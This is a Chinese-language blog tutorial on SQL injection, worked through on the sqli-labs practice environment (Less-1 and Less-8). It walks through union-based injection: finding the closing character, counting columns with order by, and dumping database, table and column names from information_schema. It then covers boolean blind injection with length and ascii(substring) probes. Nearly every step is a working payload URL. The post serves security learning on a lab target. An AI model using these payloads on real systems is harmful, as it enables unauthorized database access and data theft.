vlambda博客
学习文章列表

SQL注入--联合查询+布尔盲注

一. 联合查询

  1. 通过F12查看真实请求,找到注入点

  2. 判断后台查询语句中接收的参数的类型,并确定字符型参数的闭合符

    (1) 如果可以运算,即为数字型

    如输入以下语句,判断与直接输入id=1结果是否相同,判断是否可以运算。

    http://192.168.43.129/sqli-labs/Less-1/?id=2-1

    (2) 如果不能运算,则为字符型。

    此时需要确定闭合符,并在后续需要在每一个sql语句最后加上%23(#)用于注释掉原来的闭合符。

    首先尝试输入'或“,

    http://192.168.43.129/sqli-labs/Less-1/?id=2'

    如果有报错信息,就查看输入的字符后面的字符串,即为闭合符。

  3. 用order by判断字段数

    order by后面的参数为用于排序的列号,也就是说在该参数小于字段数时,前端能够拉到数据;大于字段数时,前端将会收到报错。因此通过二分法逼近字段数,并观察前端的显示,在最后得到结果,如:

    http://192.168.43.129/sqli-labs/Less-1/?id=1' order by 5#
  4. 将查询的id值设为无对应记录的值,开始使用union联合查询

    information_schema是mysql自带一个数据库,它提供的元数据(即数据库、表、列等信息)的访问方式。

    (1) 任意输入联合查询判断显示位。如:

    http://192.168.43.129/sqli-labs/Less-1/?id=-1union select 1,2,3#

    根据1,2,3中被前端显示的数字就能判断显示位。

    (2) 用database()查询库名

    http://192.168.43.129/sqli-labs/Less-1/?id=-1union select 1,database(),3#

    (3) 在information_schema .tables查询表名

    http://192.168.43.129/sqli-labs/Less-1/?id=-1union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = databaseName#

    (4) 在information_schema .columns查询字段名

    http://192.168.43.129/sqli-labs/Less-1/?id=-1union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = databaseName and table_name = tableName#

    (5) 根据查到的表名和字段名查询信息

    http://192.168.43.129/sqli-labs/Less-1/?id=-1union select 1,group_concat(col1),group_concat(col2) from tableName#


二. 布尔盲注

  1. 判断后台查询语句中接收的参数的类型,并确定字符型参数的闭合符

  2. 前面和上面一致,闭合符判断的方法稍有不同。首先尝试用’和”闭合,如果前端没有显示证明报错了,也就是说闭合符中含有该符号;如果显示了,证明没有报错,也就是闭合符中不含该符号。然后在报错的语句后面加上#,尝试,有显示证明该符号就是闭合符,没显示就在该符号后面逐个添加圆括号,直到不报错。

    如:

    http://192.168.43.129/sqli-labs/Less-8/?id=2'#
    http://192.168.43.129/sqli-labs/Less-8/?id=2')#


  3. 布尔盲注

    构造布尔条件,用and与原本在前端有显示的查询语句连接,有显示,该条件为真;无显示,该条件为假。以此用二分法逼近字符串的长度和字符的ascii码,从而得出库名、表名等一系列信息。

    如:

    http://192.168.43.129/sqli-labs/Less-8/?id=2' and length(database())>8#
    http://192.168.43.129/sqli-labs/Less-8/?id=2' and ascii(substring(database(),2,1))>101#